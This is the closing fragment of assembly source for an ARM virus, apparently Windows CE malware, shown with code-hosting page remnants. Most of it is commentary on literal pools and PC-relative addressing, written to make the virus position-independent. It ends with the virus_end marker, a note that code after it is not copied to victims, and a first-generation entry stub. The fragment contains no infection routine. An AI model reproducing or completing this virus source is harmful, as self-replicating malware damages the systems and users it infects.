; instruction length is hardcoded to 32 bits, it is not possible in
|
||||
; one instruction to load the whole 32bit range into a register (there
|
||||
; have to be bits to specify the opcode). That's why the literal
|
||||
; pool was introduced, which in fact is just an array of 32bit values
|
||||
; that are not possible to load. This data structure is later
|
||||
; accessed with the aid of the PC (program counter) register that points
|
||||
; to the currently executed instruction + 8 (+ 8 because ARM processors
|
||||
; implement a 3 phase pipeline: execute, decode, fetch and the PC
|
||||
; points not at the instruction being executed but at the instruction being
|
||||
; fetched). An offset is added to PC so that the final pointer
|
||||
; points to the right value in the literal pool.
|
||||
|
||||
; the pseudo instruction ldr rX, =<value> while compiling gets
|
||||
; transformed to a mov instruction (if the value is in the range of
|
||||
; valid values) or it allocates its place in the literal pool and becomes a
|
||||
; ldr, rX, [pc, #<offset>]
|
||||
; similarly adr and adrl instructions serve to loading addresses
|
||||
; to register.
|
||||
|
||||
; this approach's advantage is that with minimal effort we can get
|
||||
; position independent code from the compiler which allows our
|
||||
; code to run wherever in the address space the loader will load us.
|
||||
|
||||
LTORG
|
||||
virus_end
|
||||
|
||||
; the code after virus_end doesn't get copied to victims
|
||||
|
||||
WinMainCRTStartup PROC
|
||||
b virus_code_start
|
||||
ENDP
|
||||
|
||||
; first generation entry point
|
||||
host_entry
|
||||
mvn r0, #0
|
||||
mov pc, lr
|
||||
END
|
||||
** virus_source_end **
|
Loading…
Reference in New Issue
Block a user